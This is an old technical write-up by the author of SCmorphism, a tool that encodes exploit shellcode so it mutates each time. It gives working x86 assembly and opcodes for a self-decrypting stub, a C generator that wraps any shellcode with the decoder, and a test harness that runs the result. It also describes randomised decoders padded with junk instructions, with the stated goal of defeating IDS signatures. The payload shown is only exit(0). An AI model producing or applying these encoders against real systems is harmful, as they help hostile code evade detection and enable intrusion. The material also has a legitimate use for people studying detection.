How IT Works - Writed by Rodrigo Rubira Branco (BSDaemon) The intention of this text is to explain how SCmorphism works. Explanations used in this text are the start point to make yourself a tool like scmorphism. If you only like to understand the techniques, this text is to you too. I really thanks Darksock from UHAGR because he sents to me the general part about polymorphism used in this text. I modified it to turn more easy to understood. First of all, my intention is to explain how Polymorphism techniques works and demonstre to lector how the DECODER can be modified to turn off the possibility to detect it. You can read the Rix article at phrack to understand more about polymorphism. An polymorphic shellcodes appers like it: -------------- call decryptor -------------- shellcode -------------- decryptor -------------- jmp shellcode -------------- The decryptor are responsible to do the inverse process used to encode your shellcode. This process can be, for example: - ADD - SUB - XOR - SHIFT - Encryption (like DES) When a call is made then the next address (in our case the shellcode's address is pushed on the stack. So, the decryptor can easily get the address of shellcode by poping a General Purpose Register. Then all the decryptor has to do is to manipulate the bytes of the shellcode and then jmp on the address of it. So the algo of the our encrypted shellcode should be like this: ------------------------------------------------------ call decryptor shellcode: .string encrypted_shellcode decryptor: xor %ecx, %ecx mov sizeof(encrypted_shellcode), %cl pop %reg looplab: mov (%reg), %al - manipulate al according to the encryption - mov %al, (%reg) loop looplab jmp shellcode ------------------------------------------------------- So here is a working code, example: .globl main main: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" // exit(0) shellcode // increased by 1 . decryptor: pop %ebx // we are going to using as an address reg: %ebx . xor %ecx, %ecx // Zero out %ecx mov $0x08, %cl // 0x08 == sizeof(shellcode) . looplab: mov (%ebx), %al // mov the byte pointed by %ebx to %al . dec %al // The manipulation/decryption :P . mov %al, (%ebx) // put the byte, decrypted now, back where it belongs. inc %ebx // increase the address by 1, get the next byte . dec %cx // decrease our counter register: %cx . jnz looplab // if %cx is not equal to zero, then continue // decrypting. jmp shellcode // Finaly, jump to our decrypted shellcode This are very easy to understand, but it have some problems. You cant use it compiled because you will receive a SIGSEGV because you try to write data in the .text section (code section) which is mapped as +rx only. In the opcode format it works fine (because uses stack). You only need to concatenate the shellcode at the end of your decoder. Change the mov sizeof(shellcode), %cx bytes. Off-course you need to avoid any zero-bytes in the decryptor opcode because the system will understand it like a string terminator. Also the set of these instructions: mov (%ebx), %al dec %al mov %al, (%ebx) Can be equally transformed to: subb $0x01, (%ebx) And more improvements can be made, this is just a dirty code in order to show you how to implement, build a decryptor. In this example the cipher mechanism is so simple that do not even need to strongly manipulate each byte by byte so a simple sub instruction can implement it. In other cipher's this kind of manipulation wont be possible (eg. xor cipher) Anyway, I compiled it and got it's opcodes. Here there are (starting from the call): in main: 0xe8 0x09 // This byte is the relative address of the decryptor 0x00 // This Zero bytes are troubling as. But we must use 0x00 // the call instruction to get the shellcodes address 0x00 // so we must redesigned our shellcode Well here is the changed code: .globl main main: jmp getaddr decryptor: pop %ebx xor %ecx, %ecx mov $0x08, %cl looplab: mov (%ebx), %al dec %al mov %al, (%ebx) inc %ebx dec %cx jnz looplab jmp shellcode getaddr: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" I believe people can understand the code, let's see the opcodes again: (The opcodes are found through gdb, by (gdb) x/bx address ) in main 0xeb 0x12 // relative address of getaddr, still wont change in decryptor 0x5b 0x31 0xc9 0xb1 0x08 // Shellcode bytes, must be smaller than 0xff bytes, wont be the same // for every shellcode, must be changed each time. in looplab 0x8a 0x03 0xfe 0xc8 0x88 0x03 0x43 0x66 0x49 0x75 0xf5 0xeb 0x05 // This byte is the relative address of shellcode - Wont change in getaddr 0xe8 0xe9 // Relative address of decryptor - Wont change 0xff // This way we are getting a negative relative address 0xff // so we avoid those zero-bytes ;) 0xff in shellcode: 0x32 0xc1 0x32 0xdc 0xb1 0x02 0xce 0x81 As can seen it's fool of fixed address that will not change even if the shellcode changes. So the decryptor can be used for any shellcode, and the only thing we must do is change the 0x08 byte at decryptor to be equal to the size of the shellcode, for each shellcode. In the scmorphism tool i do it chanching the byte in the string using C program. Here is a C program which outputs an encrypted shellcode if you give it a fine working shellcode: #include // // BYTE_TO_MODIFY: pointer to the byte which we need to // modify in decryptor. Decryptor's size is -> 25 bytes <- // So your encrypted shellcode will enlarge by 25 bytes. // #define BYTE_TO_MODIFY 4 char decryptor[] = "\xeb\x12\x5b\x31\xc9\xb1\xdb\x8a\x03" "\xfe\xc8\x88\x03\x43\x66\x49\x75\xf5" "\xeb\x05\xe8\xe9\xff\xff\xff"; int main( int argc, char *argv[] ) { int i; if( argc != 2 ) { fprintf( stdout, "Usage: %s [ shellcode ]\n", argv[0] ); exit( 1 ); } if( strlen( argv[1] ) < 256 ) { decryptor[BYTE_TO_MODIFY] = strlen( argv[1] ); fprintf( stdout, "\nThe encrypted shellcode is:\n\n" ); for( i = 0; i < strlen( decryptor ); i++ ) fprintf( stdout, "\\x%02x", ( long ) decryptor[i]); for( i = 0; i < strlen( argv[1] ); i++ ) fprintf( stdout, "\\x%02x", ( long ) *( argv[1] + i ) + 1 ); fprintf( stdout, "\n\n" ); } else fprintf( stdout, "It is only possible if the given shellcode is smaller than 256 bytes\n" ); return( 0 ); } This is how an decryptor work (and is build) and how i initiate the SCmorphism project. In real life the size that the real shellcode will be increased while going encrypted DOES matter, so here is an optimized version of the above code: .globl main main: jmp getaddr decryptor: popl %ebx xorl %ecx, %ecx movb $0x08, %cl looplab: subb $0x01, (%ebx) inc %ebx loop looplab jmp shellcode getaddr: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" And the opcodes of the decryptor will now be: // // 20bytes Decrypter Engine, 5bytes less. Not bad ;) // Once again decryptor[4] must be changed to the // size of the given shellcode. // char decryptor[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80\x2b\x01" "\x43\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff" And finaly a test code: --- test.c --- #include // // Decryptor + exit(0); Encrypted shellcode // char sc[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80" "\x2b\x01\x43\xe2\xfa\xeb\x05\xe8" "\xee\xff\xff\xff\x32\xc1\x32\xdc" "\xb1\x02\xce\x81"; int main( void ) { void ( *x ) ( ) = ( void * ) sc; x( ); return( 0 ); } $ strace ./test .. stuff .... .. more stuff .... .. stuff .... close(3) = 0 munmap(0x40012000, 36445) = 0 _exit(0) = ? Finishing how the decoder can be build and how the decoder works, i will talk about the SCMorphism tool techniques. First of all, this document are finish writted in 05/25/2004 and can not be actualized with other enhancements of the SCMorphism. See Changelog to know more about it. SCMorphism begins when wsxz from priv8security tells me about how do encryption of shellcode (using a xor decoder). I like the idea, and he tells me to write a tool to do it automatic. I read the RiX article and talked with Darksock and other ppl (you can see all using the -v option of the scmorphism). This ppl gives to me many ideas and im begin to write the tool. Many disponibly tools doing some parts of the scmorphism, but i dunno any tool do all parts. My intention is not only to encode the original shellcode with a random value and place a decoder in front or behind it. I like to place and randonly generated decoder in it. SCMorphism can create XOR/ADD/SUB/ByteShift randomly decoders. This decoders are splited in pieces (tks to Zillion@safemode.org for the idea used in your tool called s-poly). Using this pieces, the tool can create randomly decoders, manipulatin this pieces and introducin "do nothing instructions". This give to the user an modified encoded shellcode any time you use the tool. The do nothing instructions used and randomly generated decoders turn impossibble to write IDS signatures for this tool (or it give to admin a lot of false positives). When you call the encode function it generate a random number to be used to choose the piece (The shellcode type can be gived by the user or can randomly generated too. The number used to do the encoding operations are possible to be choosed by the user too or can randomly generated). If you like to deactive the randomly decoder generation, you only need to use -o (optimize option). The number choosed to encoding operations are used to perform operations in the shellcode (shift bytes, xor'd, increased or decremented). Bad characteres can be choosed by the user (in the TODO you will see the future scmorphism will implement alphanumeric decoder generation). If the user dont choose any badchar, the system will use \0,\r,\t (tks to Strider from priv8security). I have included a "do nothing" array, with instructions dont offer any problems in the shellcode decoder process. This array (tks to Strider again) are used to generated randomly "do nothing" instructions to be used in the middle of decoder, and turn decoder generation possibilitys infinite (this is a real increment in the s-poly tool, with fixed number possibilitys and IDS detectable). Author: Rodrigo Rubira Branco (BSDaemon) www.kernelhacking.com/rodrigo/ rodrigo@kernelhacking.com